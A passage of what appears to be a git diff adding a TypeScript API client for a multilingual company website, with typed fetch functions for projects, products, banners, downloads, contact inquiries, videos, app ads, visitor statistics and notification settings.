formData.append("file", file);
|
||||
|
||||
const response = await fetch(
|
||||
`${API_BASE_URL}/products/admin/${productId}/upload-image?is_main=${isMain}`,
|
||||
{
|
||||
method: "POST",
|
||||
headers: { Authorization: `Bearer ${token}` },
|
||||
body: formData,
|
||||
}
|
||||
);
|
||||
|
||||
if (!response.ok) {
|
||||
const error = await response.json().catch(() => ({ detail: "Upload failed" }));
|
||||
throw new Error(error.detail);
|
||||
}
|
||||
|
||||
return response.json();
|
||||
},
|
||||
|
||||
adminDeleteImage: (imageId: number, token: string) =>
|
||||
fetchApi<{ message: string }>(`/products/admin/images/${imageId}`, {
|
||||
method: "DELETE",
|
||||
token,
|
||||
}),
|
||||
};
|
||||
|
||||
// Contact API
|
||||
export interface ContactSettings {
|
||||
phone?: string;
|
||||
email?: string;
|
||||
address?: string;
|
||||
weekday_hours?: string;
|
||||
weekend_hours?: string;
|
||||
}
|
||||
|
||||
export interface ContactSettingsAdmin {
|
||||
id: number;
|
||||
phone?: string;
|
||||
email?: string;
|
||||
address_ko?: string;
|
||||
address_en?: string;
|
||||
address_ja?: string;
|
||||
address_zh?: string;
|
||||
weekday_hours?: string;
|
||||
weekend_hours?: string;
|
||||
}
|
||||
|
||||
export interface ContactInquiry {
|
||||
id: number;
|
||||
name: string;
|
||||
email: string;
|
||||
phone?: string;
|
||||
company?: string;
|
||||
message: string;
|
||||
status: string;
|
||||
created_at?: string;
|
||||
}
|
||||
|
||||
export const contactApi = {
|
||||
// Public
|
||||
getSettings: (lang: string = "ko") =>
|
||||
fetchApi<ContactSettings>(`/contact/settings?lang=${lang}`),
|
||||
|
||||
submitInquiry: (data: { name: string; email: string; phone?: string; company?: string; message: string }) =>
|
||||
fetchApi<ContactInquiry>("/contact/inquiry", {
|
||||
method: "POST",
|
||||
body: JSON.stringify(data),
|
||||
}),
|
||||
|
||||
// Admin
|
||||
adminGetSettings: (token: string) =>
|
||||
fetchApi<ContactSettingsAdmin>("/contact/admin/settings", { token }),
|
||||
|
||||
adminUpdateSettings: (data: Partial<ContactSettingsAdmin>, token: string) =>
|
||||
fetchApi<ContactSettingsAdmin>("/contact/admin/settings", {
|
||||
method: "PUT",
|
||||
body: JSON.stringify(data),
|
||||
token,
|
||||
}),
|
||||
|
||||
adminGetInquiries: (token: string, status?: string) => {
|
||||
const params = status ? `?status=${status}` : "";
|
||||
return fetchApi<ContactInquiry[]>(`/contact/admin/inquiries${params}`, { token });
|
||||
},
|
||||
|
||||
adminGetInquiry: (id: number, token: string) =>
|
||||
fetchApi<ContactInquiry>(`/contact/admin/inquiries/${id}`, { token }),
|
||||
|
||||
adminDeleteInquiry: (id: number, token: string) =>
|
||||
fetchApi<{ message: string }>(`/contact/admin/inquiries/${id}`, {
|
||||
method: "DELETE",
|
||||
token,
|
||||
}),
|
||||
|
||||
adminUpdateInquiryStatus: (id: number, status: string, token: string) =>
|
||||
fetchApi<ContactInquiry>(`/contact/admin/inquiries/${id}/status`, {
|
||||
method: "PUT",
|
||||
body: JSON.stringify({ status }),
|
||||
token,
|
||||
}),
|
||||
};
|
||||
|
||||
// Banner API
|
||||
export const bannerApi = {
|
||||
// Public
|
||||
getAll: (lang: string = "ko") =>
|
||||
fetchApi<Banner[]>(`/banners/?lang=${lang}`),
|
||||
|
||||
adminGetSettings: (token: string) =>
|
||||
fetchApi<BannerSettings>("/banners/admin/settings", { token }),
|
||||
|
||||
getSettings: () =>
|
||||
fetchApi<BannerSettings>("/banners/settings"),
|
||||
|
||||
// Admin
|
||||
adminGetAll: (token: string) =>
|
||||
fetchApi<BannerAdmin[]>("/banners/admin/list", { token }),
|
||||
|
||||
adminGetOne: (id: number, token: string) =>
|
||||
fetchApi<BannerAdmin>(`/banners/admin/${id}`, { token }),
|
||||
|
||||
adminCreate: (data: Partial<BannerAdmin>, token: string) =>
|
||||
fetchApi<BannerAdmin>("/banners/admin", {
|
||||
method: "POST",
|
||||
body: JSON.stringify(data),
|
||||
token,
|
||||
}),
|
||||
|
||||
adminUpdate: (id: number, data: Partial<BannerAdmin>, token: string) =>
|
||||
fetchApi<BannerAdmin>(`/banners/admin/${id}`, {
|
||||
method: "PUT",
|
||||
body: JSON.stringify(data),
|
||||
token,
|
||||
}),
|
||||
|
||||
adminDelete: (id: number, token: string) =>
|
||||
fetchApi<{ message: string }>(`/banners/admin/${id}`, {
|
||||
method: "DELETE",
|
||||
token,
|
||||
}),
|
||||
|
||||
adminUploadImage: async (file: File, token: string) => {
|
||||
const formData = new FormData();
|
||||
formData.append("file", file);
|
||||
|
||||
const response = await fetch(
|
||||
`${API_BASE_URL}/banners/admin/upload-image`,
|
||||
{
|
||||
method: "POST",
|
||||
headers: { Authorization: `Bearer ${token}` },
|
||||
body: formData,
|
||||
}
|
||||
);
|
||||
|
||||
if (!response.ok) {
|
||||
const error = await response.json().catch(() => ({ detail: "Upload failed" }));
|
||||
throw new Error(error.detail);
|
||||
}
|
||||
|
||||
return response.json();
|
||||
},
|
||||
|
||||
adminUpdateSettings: (data: Partial<BannerSettings>, token: string) =>
|
||||
fetchApi<BannerSettings>("/banners/admin/settings", {
|
||||
method: "PUT",
|
||||
body: JSON.stringify(data),
|
||||
token,
|
||||
}),
|
||||
};
|
||||
|
||||
// Downloads API
|
||||
export interface Download {
|
||||
id: number;
|
||||
title: string;
|
||||
description?: string;
|
||||
category?: string;
|
||||
file_url: string;
|
||||
thumbnail?: string;
|
||||
download_count: number;
|
||||
version?: string;
|
||||
file_size?: number;
|
||||
}
|
||||
|
||||
export interface DownloadAdmin {
|
||||
id: number;
|
||||
title_ko: string;
|
||||
title_en?: string;
|
||||
title_ja?: string;
|
||||
title_zh?: string;
|
||||
description_ko?: string;
|
||||
description_en?: string;
|
||||
description_ja?: string;
|
||||
description_zh?: string;
|
||||
category_ko?: string;
|
||||
category_en?: string;
|
||||
category_ja?: string;
|
||||
category_zh?: string;
|
||||
file_url: string;
|
||||
file_name?: string;
|
||||
file_size?: number;
|
||||
version?: string;
|
||||
thumbnail?: string;
|
||||
is_active: boolean;
|
||||
display_order: number;
|
||||
download_count: number;
|
||||
}
|
||||
|
||||
export interface DownloadRequest {
|
||||
id: number;
|
||||
download_id: number;
|
||||
download_title?: string;
|
||||
email: string;
|
||||
newsletter_agreed: boolean;
|
||||
country?: string;
|
||||
country_code?: string;
|
||||
requested_at?: string;
|
||||
}
|
||||
|
||||
export const downloadsApi = {
|
||||
// Public
|
||||
getAll: (lang: string = "ko") =>
|
||||
fetchApi<Download[]>(`/downloads/?lang=${lang}`),
|
||||
|
||||
getOne: (id: number, lang: string = "ko") =>
|
||||
fetchApi<Download>(`/downloads/${id}?lang=${lang}`),
|
||||
|
||||
requestDownload: (id: number, email?: string, newsletterAgreed?: boolean, skipEmail?: boolean) =>
|
||||
fetchApi<{ download_url: string; file_name: string }>(`/downloads/${id}/request`, {
|
||||
method: "POST",
|
||||
body: JSON.stringify({
|
||||
email: email || null,
|
||||
newsletter_agreed: newsletterAgreed || false,
|
||||
skip_email: skipEmail || false
|
||||
}),
|
||||
}),
|
||||
|
||||
// Admin
|
||||
adminGetAll: (token: string) =>
|
||||
fetchApi<DownloadAdmin[]>("/downloads/admin/list", { token }),
|
||||
|
||||
adminGetOne: (id: number, token: string) =>
|
||||
fetchApi<DownloadAdmin>(`/downloads/admin/${id}`, { token }),
|
||||
|
||||
adminCreate: (data: Partial<DownloadAdmin>, token: string) =>
|
||||
fetchApi<DownloadAdmin>("/downloads/admin", {
|
||||
method: "POST",
|
||||
body: JSON.stringify(data),
|
||||
token,
|
||||
}),
|
||||
|
||||
adminUpdate: (id: number, data: Partial<DownloadAdmin>, token: string) =>
|
||||
fetchApi<DownloadAdmin>(`/downloads/admin/${id}`, {
|
||||
method: "PUT",
|
||||
body: JSON.stringify(data),
|
||||
token,
|
||||
}),
|
||||
|
||||
adminDelete: (id: number, token: string) =>
|
||||
fetchApi<{ message: string }>(`/downloads/admin/${id}`, {
|
||||
method: "DELETE",
|
||||
token,
|
||||
}),
|
||||
|
||||
adminUpload: async (file: File, fileType: string = "file", token: string) => {
|
||||
const formData = new FormData();
|
||||
formData.append("file", file);
|
||||
|
||||
const response = await fetch(
|
||||
`${API_BASE_URL}/downloads/admin/upload?file_type=${fileType}`,
|
||||
{
|
||||
method: "POST",
|
||||
headers: { Authorization: `Bearer ${token}` },
|
||||
body: formData,
|
||||
}
|
||||
);
|
||||
|
||||
if (!response.ok) {
|
||||
const error = await response.json().catch(() => ({ detail: "Upload failed" }));
|
||||
throw new Error(error.detail);
|
||||
}
|
||||
|
||||
return response.json();
|
||||
},
|
||||
|
||||
adminGetRequests: (token: string, newsletterOnly: boolean = false) =>
|
||||
fetchApi<DownloadRequest[]>(`/downloads/admin/requests?newsletter_only=${newsletterOnly}`, { token }),
|
||||
|
||||
adminGetStats: (token: string) =>
|
||||
fetchApi<{ total_requests: number; newsletter_subscribers: number; unique_emails: number }>(
|
||||
"/downloads/admin/requests/stats",
|
||||
{ token }
|
||||
),
|
||||
};
|
||||
|
||||
// Content Videos API (YouTube)
|
||||
export interface ContentVideo {
|
||||
id: number;
|
||||
youtube_id: string;
|
||||
title_ko: string;
|
||||
title_en?: string;
|
||||
title_ja?: string;
|
||||
title_zh?: string;
|
||||
description_ko?: string;
|
||||
description_en?: string;
|
||||
description_ja?: string;
|
||||
description_zh?: string;
|
||||
entity_type: "project" | "solution" | "product";
|
||||
entity_id: number;
|
||||
display_order: number;
|
||||
is_active: boolean;
|
||||
youtube_url: string;
|
||||
youtube_embed_url: string;
|
||||
thumbnail_url: string;
|
||||
created_at?: string;
|
||||
updated_at?: string;
|
||||
}
|
||||
|
||||
export interface ContentVideoPublic {
|
||||
id: number;
|
||||
youtube_id: string;
|
||||
title: string;
|
||||
description?: string;
|
||||
youtube_url: string;
|
||||
youtube_embed_url: string;
|
||||
thumbnail_url: string;
|
||||
display_order: number;
|
||||
}
|
||||
|
||||
export interface ContentVideoCreate {
|
||||
youtube_id: string;
|
||||
title_ko: string;
|
||||
title_en?: string;
|
||||
title_ja?: string;
|
||||
title_zh?: string;
|
||||
description_ko?: string;
|
||||
description_en?: string;
|
||||
description_ja?: string;
|
||||
description_zh?: string;
|
||||
entity_type: "project" | "solution" | "product";
|
||||
entity_id: number;
|
||||
display_order?: number;
|
||||
is_active?: boolean;
|
||||
}
|
||||
|
||||
export const contentVideosApi = {
|
||||
// Public
|
||||
getForEntity: (entityType: string, entityId: number, locale: string = "ko") =>
|
||||
fetchApi<ContentVideoPublic[]>(
|
||||
`/content-videos/entity/${entityType}/${entityId}?locale=${locale}`
|
||||
),
|
||||
|
||||
// Admin
|
||||
adminList: (token: string, entityType?: string, entityId?: number) => {
|
||||
const params = new URLSearchParams();
|
||||
if (entityType) params.append("entity_type", entityType);
|
||||
if (entityId) params.append("entity_id", entityId.toString());
|
||||
const query = params.toString();
|
||||
return fetchApi<ContentVideo[]>(
|
||||
`/content-videos/admin/list${query ? "?" + query : ""}`,
|
||||
{ token }
|
||||
);
|
||||
},
|
||||
|
||||
adminGet: (id: number, token: string) =>
|
||||
fetchApi<ContentVideo>(`/content-videos/admin/${id}`, { token }),
|
||||
|
||||
adminCreate: (data: ContentVideoCreate, token: string) =>
|
||||
fetchApi<ContentVideo>("/content-videos/admin", {
|
||||
method: "POST",
|
||||
body: JSON.stringify(data),
|
||||
token,
|
||||
}),
|
||||
|
||||
adminUpdate: (id: number, data: Partial<ContentVideoCreate>, token: string) =>
|
||||
fetchApi<ContentVideo>(`/content-videos/admin/${id}`, {
|
||||
method: "PUT",
|
||||
body: JSON.stringify(data),
|
||||
token,
|
||||
}),
|
||||
|
||||
adminDelete: (id: number, token: string) =>
|
||||
fetchApi<{ message: string }>(`/content-videos/admin/${id}`, {
|
||||
method: "DELETE",
|
||||
token,
|
||||
}),
|
||||
|
||||
adminReorder: (entityType: string, entityId: number, videoIds: number[], token: string) =>
|
||||
fetchApi<{ message: string }>(
|
||||
`/content-videos/admin/reorder?entity_type=${entityType}&entity_id=${entityId}`,
|
||||
{
|
||||
method: "PUT",
|
||||
body: JSON.stringify(videoIds),
|
||||
token,
|
||||
}
|
||||
),
|
||||
};
|
||||
|
||||
// App Ads API
|
||||
export interface AppAd {
|
||||
id: number;
|
||||
title: string;
|
||||
app_type: string;
|
||||
slot: number;
|
||||
image?: string;
|
||||
link_url?: string;
|
||||
is_active: boolean;
|
||||
click_count: number;
|
||||
impression_count: number;
|
||||
created_at?: string;
|
||||
}
|
||||
|
||||
export interface AppSettings {
|
||||
id: number;
|
||||
app_type: string;
|
||||
footer_text: string;
|
||||
footer_url: string;
|
||||
}
|
||||
|
||||
export const appAdsApi = {
|
||||
// Public
|
||||
getForApp: (appType: string, slot: number) =>
|
||||
fetchApi<AppAd | null>(`/app-ads/public/${appType}/${slot}`),
|
||||
|
||||
recordImpression: (adId: number) =>
|
||||
fetchApi<{ success: boolean }>(`/app-ads/public/${adId}/impression`, {
|
||||
method: "POST",
|
||||
}),
|
||||
|
||||
recordClick: (adId: number) =>
|
||||
fetchApi<{ success: boolean }>(`/app-ads/public/${adId}/click`, {
|
||||
method: "POST",
|
||||
}),
|
||||
|
||||
getSettings: (appType: string, token?: string) =>
|
||||
fetchApi<AppSettings>(`/app-ads/settings/${appType}`, { token }),
|
||||
|
||||
// Admin
|
||||
adminGetAll: (token: string) =>
|
||||
fetchApi<AppAd[]>("/app-ads/admin/list", { token }),
|
||||
|
||||
adminCreate: (data: Partial<AppAd>, token: string) =>
|
||||
fetchApi<AppAd>("/app-ads/admin", {
|
||||
method: "POST",
|
||||
body: JSON.stringify(data),
|
||||
token,
|
||||
}),
|
||||
|
||||
adminUpdate: (id: number, data: Partial<AppAd>, token: string) =>
|
||||
fetchApi<AppAd>(`/app-ads/admin/${id}`, {
|
||||
method: "PUT",
|
||||
body: JSON.stringify(data),
|
||||
token,
|
||||
}),
|
||||
|
||||
adminDelete: (id: number, token: string) =>
|
||||
fetchApi<{ message: string }>(`/app-ads/admin/${id}`, {
|
||||
method: "DELETE",
|
||||
token,
|
||||
}),
|
||||
|
||||
adminUploadImage: async (file: File, token: string) => {
|
||||
const formData = new FormData();
|
||||
formData.append("file", file);
|
||||
|
||||
const response = await fetch(
|
||||
`${API_BASE_URL}/app-ads/admin/upload-image`,
|
||||
{
|
||||
method: "POST",
|
||||
headers: { Authorization: `Bearer ${token}` },
|
||||
body: formData,
|
||||
}
|
||||
);
|
||||
|
||||
if (!response.ok) {
|
||||
const error = await response.json().catch(() => ({ detail: "Upload failed" }));
|
||||
throw new Error(error.detail);
|
||||
}
|
||||
|
||||
return response.json();
|
||||
},
|
||||
|
||||
updateSettings: (appType: string, data: Partial<AppSettings>, token: string) =>
|
||||
fetchApi<AppSettings>(`/app-ads/settings/${appType}`, {
|
||||
method: "PUT",
|
||||
body: JSON.stringify(data),
|
||||
token,
|
||||
}),
|
||||
};
|
||||
|
||||
// Visitors API
|
||||
export interface OverviewStats {
|
||||
total_visits: number;
|
||||
unique_visitors: number;
|
||||
pages_per_visit: number;
|
||||
today_visitors: number;
|
||||
growth_rate: number;
|
||||
mobile_percentage: number;
|
||||
}
|
||||
|
||||
export interface ChartData {
|
||||
labels: string[];
|
||||
data: number[];
|
||||
}
|
||||
|
||||
export interface BreakdownData {
|
||||
items: { name: string; count: number; percentage: number }[];
|
||||
}
|
||||
|
||||
export interface TopPagesData {
|
||||
pages: { path: string; count: number }[];
|
||||
}
|
||||
|
||||
export interface TopReferrersData {
|
||||
referrers: { domain: string; count: number }[];
|
||||
}
|
||||
|
||||
export interface RealtimeStats {
|
||||
active_visitors: number;
|
||||
recent_pages: { path: string; time: string }[];
|
||||
}
|
||||
|
||||
export interface CountryStats {
|
||||
country_code: string;
|
||||
country: string;
|
||||
visitor_count: number;
|
||||
}
|
||||
|
||||
export const visitorsApi = {
|
||||
// Public
|
||||
track: () =>
|
||||
fetchApi<{ success: boolean }>("/visitors/track", {
|
||||
method: "POST",
|
||||
}),
|
||||
|
||||
// Admin
|
||||
adminGetOverview: (token: string, days: number = 30) =>
|
||||
fetchApi<OverviewStats>(`/visitors/admin/overview?days=${days}`, { token }),
|
||||
|
||||
adminGetVisitsChart: (token: string, days: number = 30) =>
|
||||
fetchApi<ChartData>(`/visitors/admin/chart/visits?days=${days}`, { token }),
|
||||
|
||||
adminGetUniqueChart: (token: string, days: number = 30) =>
|
||||
fetchApi<ChartData>(`/visitors/admin/chart/unique?days=${days}`, { token }),
|
||||
|
||||
adminGetDeviceBreakdown: (token: string, days: number = 30) =>
|
||||
fetchApi<BreakdownData>(`/visitors/admin/breakdown/device?days=${days}`, { token }),
|
||||
|
||||
adminGetBrowserBreakdown: (token: string, days: number = 30) =>
|
||||
fetchApi<BreakdownData>(`/visitors/admin/breakdown/browser?days=${days}`, { token }),
|
||||
|
||||
adminGetOsBreakdown: (token: string, days: number = 30) =>
|
||||
fetchApi<BreakdownData>(`/visitors/admin/breakdown/os?days=${days}`, { token }),
|
||||
|
||||
adminGetTopPages: (token: string, days: number = 30) =>
|
||||
fetchApi<TopPagesData>(`/visitors/admin/top-pages?days=${days}`, { token }),
|
||||
|
||||
adminGetTopReferrers: (token: string, days: number = 30) =>
|
||||
fetchApi<TopReferrersData>(`/visitors/admin/top-referrers?days=${days}`, { token }),
|
||||
|
||||
adminGetRealtime: (token: string) =>
|
||||
fetchApi<RealtimeStats>("/visitors/admin/realtime", { token }),
|
||||
|
||||
adminGetCountryStats: (token: string) =>
|
||||
fetchApi<CountryStats[]>("/visitors/admin/countries", { token }),
|
||||
|
||||
adminGetStats: (token: string) =>
|
||||
fetchApi<VisitorStats>("/visitors/admin/stats", { token }),
|
||||
};
|
||||
|
||||
// Alias for bannersApi (some components use this name)
|
||||
export const bannersApi = bannerApi;
|
||||
|
||||
// Notifications API
|
||||
export interface NotificationSettings {
|
||||
id: number;
|
||||
email_enabled: boolean;
|
||||
smtp_server: string;
|
||||
smtp_port: number;
|
||||
smtp_username: string;
|
||||
smtp_password: string;
|
||||
admin_email: string;
|
||||
kakao_enabled: boolean;
|
||||
kakao_webhook_url: string;
|
||||
}
|
||||
|
||||
export const notificationApi = {
|
||||
getSettings: (token: string) =>
|
||||
fetchApi<NotificationSettings>("/notifications/settings", { token }),
|
||||
|
||||
updateSettings: (data: Partial<NotificationSettings>, token: string) =>
|
||||
fetchApi<NotificationSettings>("/notifications/settings", {
|
||||
method: "PUT",
|
||||
body: JSON.stringify(data),
|
||||
token,
|
||||
}),
|
||||
|
||||
testEmail: (token: string) =>
|
||||
fetchApi<{ success: boolean; message: string }>("/notifications/test/email", {
|
||||
method: "POST",
|
||||
token,
|
||||
}),
|
||||
|
||||
testKakao: (token: string) =>
|
||||
fetchApi<{ success: boolean; message: string }>("/notifications/test/kakao", {
|
||||
method: "POST",
|
||||
token,
|
||||
}),
|
||||
|
||||
testNotification: (type: string, token: string) =>
|
||||
fetchApi<{ success: boolean; message: string }>(`/notifications/test/${type}`, {
|
||||
method: "POST",
|
||||
token,
|
||||
}),
|
||||
};
|
||||
|
||||
// VisitorStats interface (used in admin page)
|
||||
export interface VisitorStats {
|
||||
total_visitors: number;
|
||||
today_visitors: number;
|
||||
}
|
||||
762
temp_grantech_api.ts
Normal file
762
temp_grantech_api.ts
Normal file
@@ -0,0 +1,762 @@
|
||||
const API_BASE_URL = process.env.NEXT_PUBLIC_API_URL || "http://localhost:8001/api";
|
||||
|
||||
interface FetchOptions extends RequestInit {
|
||||
token?: string;
|
||||
}
|
||||
|
||||
async function fetchApi<T>(endpoint: string, options: FetchOptions = {}): Promise<T> {
|
||||
const { token, ...fetchOptions } = options;
|
||||
|
||||
const headers: HeadersInit = {
|
||||
"Content-Type": "application/json",
|
||||
...options.headers,
|
||||
};
|
||||
|
||||
if (token) {
|
||||
(headers as Record<string, string>)["Authorization"] = `Bearer ${token}`;
|
||||
}
|
||||
|
||||
const response = await fetch(`${API_BASE_URL}${endpoint}`, {
|
||||
...fetchOptions,
|
||||
headers,
|
||||
});
|
||||
|
||||
if (!response.ok) {
|
||||
const error = await response.json().catch(() => ({ detail: "Unknown error" }));
|
||||
const errorMessage = typeof error.detail === 'string'
|
||||
? error.detail
|
||||
: JSON.stringify(error.detail) || `HTTP error! status: ${response.status}`;
|
||||
throw new Error(errorMessage);
|
||||
}
|
||||
|
||||
return response.json();
|
||||
}
|
||||
|
||||
// Auth API
|
||||
export const authApi = {
|
||||
login: (username: string, password: string) =>
|
||||
fetchApi<{ access_token: string; token_type: string }>("/auth/login", {
|
||||
method: "POST",
|
||||
body: JSON.stringify({ username, password }),
|
||||
}),
|
||||
|
||||
getMe: (token: string) =>
|
||||
fetchApi<{ id: number; username: string }>("/auth/me", { token }),
|
||||
};
|
||||
|
||||
// Projects API (Public)
|
||||
export interface Project {
|
||||
id: number;
|
||||
title: string;
|
||||
subtitle?: string;
|
||||
description?: string;
|
||||
client?: string;
|
||||
period?: string;
|
||||
year?: number;
|
||||
category?: string;
|
||||
main_image?: string;
|
||||
is_featured: boolean;
|
||||
images: { id: number; image_url: string; caption?: string }[];
|
||||
}
|
||||
|
||||
export interface ProjectAdmin {
|
||||
id: number;
|
||||
title_ko: string;
|
||||
title_en?: string;
|
||||
title_ja?: string;
|
||||
title_zh?: string;
|
||||
subtitle_ko?: string;
|
||||
subtitle_en?: string;
|
||||
subtitle_ja?: string;
|
||||
subtitle_zh?: string;
|
||||
description_ko?: string;
|
||||
description_en?: string;
|
||||
description_ja?: string;
|
||||
description_zh?: string;
|
||||
client?: string;
|
||||
period?: string;
|
||||
year?: number;
|
||||
category?: string;
|
||||
main_image?: string;
|
||||
is_featured: boolean;
|
||||
is_active: boolean;
|
||||
display_order: number;
|
||||
images: { id: number; image_url: string; caption_ko?: string; caption_en?: string; caption_ja?: string; caption_zh?: string }[];
|
||||
}
|
||||
|
||||
export const projectsApi = {
|
||||
// Public
|
||||
getAll: (lang: string = "ko", category?: string) => {
|
||||
const params = new URLSearchParams({ lang });
|
||||
if (category) params.append("category", category);
|
||||
return fetchApi<Project[]>(`/projects/?${params}`);
|
||||
},
|
||||
|
||||
getOne: (id: number, lang: string = "ko") =>
|
||||
fetchApi<Project>(`/projects/${id}?lang=${lang}`),
|
||||
|
||||
// Admin
|
||||
adminGetAll: (token: string) =>
|
||||
fetchApi<ProjectAdmin[]>("/projects/admin/list", { token }),
|
||||
|
||||
adminGetOne: (id: number, token: string) =>
|
||||
fetchApi<ProjectAdmin>(`/projects/admin/${id}`, { token }),
|
||||
|
||||
adminCreate: (data: Partial<ProjectAdmin>, token: string) =>
|
||||
fetchApi<ProjectAdmin>("/projects/admin", {
|
||||
method: "POST",
|
||||
body: JSON.stringify(data),
|
||||
token,
|
||||
}),
|
||||
|
||||
adminUpdate: (id: number, data: Partial<ProjectAdmin>, token: string) =>
|
||||
fetchApi<ProjectAdmin>(`/projects/admin/${id}`, {
|
||||
method: "PUT",
|
||||
body: JSON.stringify(data),
|
||||
token,
|
||||
}),
|
||||
|
||||
adminDelete: (id: number, token: string) =>
|
||||
fetchApi<{ message: string }>(`/projects/admin/${id}`, {
|
||||
method: "DELETE",
|
||||
token,
|
||||
}),
|
||||
|
||||
adminUploadImage: async (projectId: number, file: File, isMain: boolean, token: string) => {
|
||||
const formData = new FormData();
|
||||
formData.append("file", file);
|
||||
|
||||
const response = await fetch(
|
||||
`${API_BASE_URL}/projects/admin/${projectId}/upload-image?is_main=${isMain}`,
|
||||
{
|
||||
method: "POST",
|
||||
headers: {
|
||||
Authorization: `Bearer ${token}`,
|
||||
},
|
||||
body: formData,
|
||||
}
|
||||
);
|
||||
|
||||
if (!response.ok) {
|
||||
const error = await response.json().catch(() => ({ detail: "Upload failed" }));
|
||||
throw new Error(error.detail);
|
||||
}
|
||||
|
||||
return response.json();
|
||||
},
|
||||
|
||||
adminDeleteImage: (imageId: number, token: string) =>
|
||||
fetchApi<{ message: string }>(`/projects/admin/images/${imageId}`, {
|
||||
method: "DELETE",
|
||||
token,
|
||||
}),
|
||||
};
|
||||
|
||||
// Get upload URL
|
||||
export function getUploadUrl(path: string): string {
|
||||
if (!path) return "";
|
||||
if (path.startsWith("http")) return path;
|
||||
const baseUrl = process.env.NEXT_PUBLIC_API_URL?.replace(/\/api$/, "") || "http://localhost:8001";
|
||||
// Handle API endpoints (e.g., /api/downloads/1/file)
|
||||
if (path.startsWith("/api/")) {
|
||||
return `${baseUrl}${path}`;
|
||||
}
|
||||
// Remove leading slash from path to avoid double slashes
|
||||
const cleanPath = path.startsWith("/") ? path.slice(1) : path;
|
||||
return `${baseUrl}/${cleanPath}`;
|
||||
}
|
||||
|
||||
// Banner API
|
||||
export interface Banner {
|
||||
id: number;
|
||||
title?: string;
|
||||
subtitle?: string;
|
||||
image_url: string;
|
||||
link_url?: string;
|
||||
}
|
||||
|
||||
export interface BannerAdmin {
|
||||
id: number;
|
||||
title_ko?: string;
|
||||
title_en?: string;
|
||||
title_ja?: string;
|
||||
title_zh?: string;
|
||||
subtitle_ko?: string;
|
||||
subtitle_en?: string;
|
||||
subtitle_ja?: string;
|
||||
subtitle_zh?: string;
|
||||
image_url: string;
|
||||
link_url?: string;
|
||||
is_active: boolean;
|
||||
display_order: number;
|
||||
}
|
||||
|
||||
export interface BannerSettings {
|
||||
id: number;
|
||||
transition_type: "fade" | "slide";
|
||||
slide_interval: number;
|
||||
}
|
||||
|
||||
// Solution API
|
||||
export interface Solution {
|
||||
id: number;
|
||||
title: string;
|
||||
subtitle?: string;
|
||||
description?: string;
|
||||
features: string[];
|
||||
icon?: string;
|
||||
color?: string;
|
||||
main_image?: string;
|
||||
images: { id: number; image_url: string; caption?: string }[];
|
||||
}
|
||||
|
||||
export interface SolutionAdmin {
|
||||
id: number;
|
||||
title_ko: string;
|
||||
title_en?: string;
|
||||
title_ja?: string;
|
||||
title_zh?: string;
|
||||
subtitle_ko?: string;
|
||||
subtitle_en?: string;
|
||||
subtitle_ja?: string;
|
||||
subtitle_zh?: string;
|
||||
description_ko?: string;
|
||||
description_en?: string;
|
||||
description_ja?: string;
|
||||
description_zh?: string;
|
||||
features_ko?: string;
|
||||
features_en?: string;
|
||||
features_ja?: string;
|
||||
features_zh?: string;
|
||||
icon?: string;
|
||||
color?: string;
|
||||
main_image?: string;
|
||||
is_active: boolean;
|
||||
display_order: number;
|
||||
images: { id: number; image_url: string; caption_ko?: string; caption_en?: string; caption_ja?: string; caption_zh?: string }[];
|
||||
}
|
||||
|
||||
export const solutionsApi = {
|
||||
// Public
|
||||
getAll: (lang: string = "ko") =>
|
||||
fetchApi<Solution[]>(`/solutions/?lang=${lang}`),
|
||||
|
||||
getOne: (id: number, lang: string = "ko") =>
|
||||
fetchApi<Solution>(`/solutions/${id}?lang=${lang}`),
|
||||
|
||||
// Admin
|
||||
adminGetAll: (token: string) =>
|
||||
fetchApi<SolutionAdmin[]>("/solutions/admin/list", { token }),
|
||||
|
||||
adminGetOne: (id: number, token: string) =>
|
||||
fetchApi<SolutionAdmin>(`/solutions/admin/${id}`, { token }),
|
||||
|
||||
adminCreate: (data: Partial<SolutionAdmin>, token: string) =>
|
||||
fetchApi<SolutionAdmin>("/solutions/admin", {
|
||||
method: "POST",
|
||||
body: JSON.stringify(data),
|
||||
token,
|
||||
}),
|
||||
|
||||
adminUpdate: (id: number, data: Partial<SolutionAdmin>, token: string) =>
|
||||
fetchApi<SolutionAdmin>(`/solutions/admin/${id}`, {
|
||||
method: "PUT",
|
||||
body: JSON.stringify(data),
|
||||
token,
|
||||
}),
|
||||
|
||||
adminDelete: (id: number, token: string) =>
|
||||
fetchApi<{ message: string }>(`/solutions/admin/${id}`, {
|
||||
method: "DELETE",
|
||||
token,
|
||||
}),
|
||||
|
||||
adminUploadImage: async (solutionId: number, file: File, isMain: boolean, token: string) => {
|
||||
const formData = new FormData();
|
||||
formData.append("file", file);
|
||||
|
||||
const response = await fetch(
|
||||
`${API_BASE_URL}/solutions/admin/${solutionId}/upload-image?is_main=${isMain}`,
|
||||
{
|
||||
method: "POST",
|
||||
headers: { Authorization: `Bearer ${token}` },
|
||||
body: formData,
|
||||
}
|
||||
);
|
||||
|
||||
if (!response.ok) {
|
||||
const error = await response.json().catch(() => ({ detail: "Upload failed" }));
|
||||
throw new Error(error.detail);
|
||||
}
|
||||
|
||||
return response.json();
|
||||
},
|
||||
|
||||
adminDeleteImage: (imageId: number, token: string) =>
|
||||
fetchApi<{ message: string }>(`/solutions/admin/images/${imageId}`, {
|
||||
method: "DELETE",
|
||||
token,
|
||||
}),
|
||||
};
|
||||
|
||||
// Product API
|
||||
export interface Product {
|
||||
id: number;
|
||||
name: string;
|
||||
category?: string;
|
||||
description?: string;
|
||||
detail?: string;
|
||||
specifications?: string;
|
||||
icon?: string;
|
||||
main_image?: string;
|
||||
images: { id: number; image_url: string; caption?: string }[];
|
||||
}
|
||||
|
||||
export interface ProductAdmin {
|
||||
id: number;
|
||||
name_ko: string;
|
||||
name_en?: string;
|
||||
name_ja?: string;
|
||||
name_zh?: string;
|
||||
category_ko?: string;
|
||||
category_en?: string;
|
||||
category_ja?: string;
|
||||
category_zh?: string;
|
||||
description_ko?: string;
|
||||
description_en?: string;
|
||||
description_ja?: string;
|
||||
description_zh?: string;
|
||||
detail_ko?: string;
|
||||
detail_en?: string;
|
||||
detail_ja?: string;
|
||||
detail_zh?: string;
|
||||
specifications?: string;
|
||||
icon?: string;
|
||||
main_image?: string;
|
||||
is_active: boolean;
|
||||
display_order: number;
|
||||
images: { id: number; image_url: string; caption_ko?: string; caption_en?: string; caption_ja?: string; caption_zh?: string }[];
|
||||
}
|
||||
|
||||
export const productsApi = {
|
||||
// Public
|
||||
getAll: (lang: string = "ko") =>
|
||||
